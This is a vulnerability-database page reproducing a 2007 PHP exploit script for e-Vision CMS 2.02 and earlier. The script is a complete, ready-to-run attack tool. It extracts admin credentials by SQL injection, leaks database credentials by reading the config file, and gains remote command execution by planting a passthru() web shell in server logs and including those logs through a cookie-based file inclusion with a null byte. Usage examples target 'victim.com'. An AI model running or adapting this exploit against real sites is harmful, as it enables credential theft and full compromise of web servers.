Lucene search
K

e-Vision CMS <= 2.02 SQL Injection/Remote Code Execution Exploit

🗓️ 08 Jun 2007 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 30 Views

e-Vision CMS <= 2.02 SQL Injection/Remote Code Execution Exploit. Bug #1: Remote code execution by exploiting show_img.php, Bug #2: Potential admin language selection vulnerability, Bug #3: SQL injection via templates. Usage: SQL Injection, Config File Disclosure, Remote Code Execution. Hostname or IP address, Path, Command to execute

Code

                                                #!/usr/bin/php -q -d short_open_tag=on
&lt;?php

/*

Explanation:

Bug #1 (admin/show_img.php):

#################
#
#	&lt;?php
#
#	$fp = fopen($_GET['img'], &quot;r&quot;);
#	$img = fread($fp, filesize($_GET['img']));
#	fclose($fp);
#
#	header(&quot;Content-type: &quot;.$_GET['type']);
#	echo $img;
#
#	?&gt;
#
#################

...need i say more?



Bug #2 (admin/functions.php):

#################
#
#	if ( isset($_COOKIE['adminlang']) ) { $language_selector = $_COOKIE['adminlang']; }
#	else { $language_selector = &quot;en&quot;; }
#	include(&quot;lang/&quot;.$language_selector.&quot;.php&quot;);
#
#################

...speaks for it self really.



Bug #3 ();

#################
#
#	$sql = &quot;SELECT `style_css` FROM `templates` WHERE `id`='&quot;.$_GET['template'].&quot;' AND `show`='Y' AND `trash`='N'&quot;;
#	$result = mysql_query($sql) or die(mysql_error());
#	$row = mysql_fetch_array($result);
#	$css .= $row['style_css'];
#
#################

...again appauling!

*/

error_reporting(0);
ini_set(&quot;max_execution_time&quot;,0);
ini_set(&quot;default_socket_timeout&quot;,5);

if ($argc&lt;4) {
print &quot;-------------------------------------------------------------------------\r\n&quot;;
print &quot;    e-Vision CMS &lt;= 2.02 SQL Injection/Remote Code Execution Exploit\r\n&quot;;
print &quot;-------------------------------------------------------------------------\r\n&quot;;
print &quot;Usage: w4ck1ng_evision.php [OPTION] [HOST] [PATH] ([USER] [PASS] [COMMAND])\r\n\r\n&quot;;
print &quot;[OPTION]  = 0 = SQL Injection (Admin user &amp; hash retrieval)\r\n&quot;;
print &quot;            1 = Config File Disclosure (Database user &amp; pass retrieval)\r\n&quot;;
print &quot;            2 = Remote Code Execution\r\n&quot;;
print &quot;[HOST] 	  = Target server's hostname or ip address\r\n&quot;;
print &quot;[PATH] 	  = Path where e-Vision CMS is located\r\n&quot;;
print &quot;[COMMAND] = Command to execute\r\n\r\n&quot;;
print &quot;e.g. w4ck1ng_evision.php 0 victim.com /\r\n&quot;;
print &quot;     w4ck1ng_evision.php 1 victim.com /\r\n&quot;;
print &quot;     w4ck1ng_evision.php 2 victim.com / username password \&quot;ls -lia\&quot;\r\n&quot;;
print &quot;-------------------------------------------------------------------------\r\n&quot;;
print &quot;            		 http://www.w4ck1ng.com\r\n&quot;;
print &quot;            		        ...Silentz\r\n&quot;;
print &quot;-------------------------------------------------------------------------\r\n&quot;;
die;
}

//Props to rgod for the following functions

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo &quot;Connecting to &quot;.$parts[0].&quot;:&quot;.$parts[1].&quot; proxy...\r\n&quot;;
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}

function make_seed()
{
   list($usec, $sec) = explode(' ', microtime());
   return (float) $sec + ((float) $usec * 100000);
}

$exploit = $argv[1];
$host = $argv[2];
$path = $argv[3];
$cmd  = $argv[4];
$cmd  = urlencode($cmd);
$port=80;$proxy=&quot;&quot;;

if (($path[0]&lt;&gt;'/') or ($path[strlen($path)-1]&lt;&gt;'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

function head(){

	print &quot;-------------------------------------------------------------------------\r\n&quot;;
	print &quot;    e-Vision CMS &lt;= 2.02 SQL Injection/Remote Code Execution Exploit\r\n&quot;;
	print &quot;-------------------------------------------------------------------------\r\n&quot;;

		}

function footer(){

	print &quot;-------------------------------------------------------------------------\r\n&quot;;
	print &quot;            		 http://www.w4ck1ng.com\r\n&quot;;
	print &quot;            		        ...Silentz\r\n&quot;;
	print &quot;-------------------------------------------------------------------------\r\n&quot;;
		}

if ($exploit==0){

    head();
   
    $sql = &quot;-999' UNION SELECT CONCAT(CHAR(85),CHAR(115),CHAR(101),CHAR(114),CHAR(110),CHAR(97),CHAR(109),CHAR(101),CHAR(61),username,CHAR(58),CHAR(58),CHAR(72),CHAR(97),CHAR(115),CHAR(104),CHAR(61),pass) FROM users WHERE idusers=1 /*&quot;;
    $sql = urlencode($sql);
    $packet =&quot;GET &quot; . $path . &quot;style.php?template=&quot; . $sql . &quot; HTTP/1.1\r\n&quot;;
    $packet.=&quot;Host: &quot;.$host.&quot;\r\n&quot;;
    $packet.=&quot;User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727;)\r\n&quot;;
    $packet.=&quot;Connection: Close\r\n\r\n&quot;;
    sendpacketii($packet);

    if (strstr($html,&quot;Username=&quot;))
     {
       $temp=explode(&quot;::Hash=&quot;,$html);
       $temp2=explode(&quot;Username=&quot;,$temp[0]);

	    echo &quot;[+] Admin User: &quot; . $temp2[1] . &quot;\n&quot;;

       $temp=explode(&quot;Username=&quot;,$html);
       $temp2=explode(&quot;::Hash=&quot;,$temp[1]);

	    echo &quot;[+] Admin Hash: &quot; . $temp2[1] . &quot;\r\n&quot;;

	footer();
       die;
     }

else{die(); exit();}}

if($exploit==1){

    $sploit = &quot;admin/show_img.php?img=../vars.php&quot;;
    $packet =&quot;GET &quot; . $path . $sploit . &quot; HTTP/1.1\r\n&quot;;
    $packet.=&quot;Host: &quot; . $host . &quot;\r\n&quot;;
    $packet.=&quot;User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727;)\r\n&quot;;
    $packet.=&quot;Connection: Close\r\n\r\n&quot;;
    sendpacketii($packet);

    if (strstr($html,&quot;&lt;?&quot;))
     {

    	$temp = explode(&quot;\$db_user = \&quot;&quot;,$html);
    	$temp2 = explode(&quot;\&quot;;&quot;,$temp[1]);
    		$username = $temp2[0];

   	$temp = explode(&quot;\$db_pass = \&quot;&quot;,$html);
   	$temp2 = explode(&quot;\&quot;;&quot;,$temp[1]);
   		$password = $temp2[0];

   	head();
   	print &quot;[+] Database User: &quot; . $username . &quot;\r\n&quot;;
   	print &quot;[+] Database Password: &quot; . $password . &quot;\r\n&quot;;
    	footer();
 }

else{die(); exit();}

}

if($exploit==2){

$code=&quot;&lt;?php echo w4ckw4ck;error_reporting(0);set_time_limit(0);if (get_magic_quotes_gpc()){\$_GET[cmd]=stripslashes(\$_GET[cmd]);}passthru(\$_GET[cmd]);die;?&gt;&quot;;
$packet=&quot;GET &quot; . $p . $code . &quot; HTTP/1.0\r\n&quot;;
$packet.=&quot;User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727;)\r\n&quot;;
$packet.=&quot;Host: &quot; . $host . &quot;\r\n&quot;;
$packet.=&quot;Connection: close\r\n\r\n&quot;;

sendpacketii($packet);

$paths= array (
&quot;../../../../../var/log/httpd/access_log&quot;,
&quot;../../../../../var/log/httpd/error_log&quot;,
&quot;../apache/logs/error.log&quot;,
&quot;../apache/logs/access.log&quot;,
&quot;../../apache/logs/error.log&quot;,
&quot;../../apache/logs/access.log&quot;,
&quot;../../../apache/logs/error.log&quot;,
&quot;../../../apache/logs/access.log&quot;,
&quot;../../../../apache/logs/error.log&quot;,
&quot;../../../../apache/logs/access.log&quot;,
&quot;../../../../../apache/logs/error.log&quot;,
&quot;../../../../../apache/logs/access.log&quot;,
&quot;../logs/error.log&quot;,
&quot;../logs/access.log&quot;,
&quot;../../logs/error.log&quot;,
&quot;../../logs/access.log&quot;,
&quot;../../../logs/error.log&quot;,
&quot;../../../logs/access.log&quot;,
&quot;../../../../logs/error.log&quot;,
&quot;../../../../logs/access.log&quot;,
&quot;../../../../../logs/error.log&quot;,
&quot;../../../../../logs/access.log&quot;,
&quot;../../../../../etc/httpd/logs/access_log&quot;,
&quot;../../../../../etc/httpd/logs/access.log&quot;,
&quot;../../../../../etc/httpd/logs/error_log&quot;,
&quot;../../../../../etc/httpd/logs/error.log&quot;,
&quot;../../../../../var/www/logs/access_log&quot;,
&quot;../../../../../var/www/logs/access.log&quot;,
&quot;../../../../../usr/local/apache/logs/access_log&quot;,
&quot;../../../../../usr/local/apache/logs/access.log&quot;,
&quot;../../../../../var/log/apache/access_log&quot;,
&quot;../../../../../var/log/apache/access.log&quot;,
&quot;../../../../../var/log/access_log&quot;,
&quot;../../../../../var/www/logs/error_log&quot;,
&quot;../../../../../var/www/logs/error.log&quot;,
&quot;../../../../../usr/local/apache/logs/error_log&quot;,
&quot;../../../../../usr/local/apache/logs/error.log&quot;,
&quot;../../../../../var/log/apache/error_log&quot;,
&quot;../../../../../var/log/apache/error.log&quot;,
&quot;../../../../../var/log/access_log&quot;,
&quot;../../../../../var/log/error_log&quot;
);

for ($i=0; $i&lt;=count($paths)-1; $i++)
{
$a=$i+2;

$packet =&quot;GET &quot; . $p . &quot;admin/functions.php?cmd=&quot; . $cmd . &quot; HTTP/1.1\r\n&quot;;
$packet.=&quot;User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727;)\r\n&quot;;
$packet.=&quot;Host: &quot; . $host . &quot;\r\n&quot;; 
$packet.=&quot;Cookie: adminlang=&quot; . $paths[$i] . &quot;%00\r\n&quot;; 
$packet.=&quot;Connection: Close\r\n\r\n&quot;;

sendpacketii($packet);

if (strstr($html,&quot;w4ckw4ck&quot;))
    {
     $temp=explode(&quot;w4ckw4ck&quot;,$html);
	head();
        echo $temp[1];
	footer();
	exit;
    }
}

	head();
        echo &quot;[-] Exploit Failed...\r\n&quot;;
	footer();

}

?&gt;

# milw0rm.com [2007-06-08]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation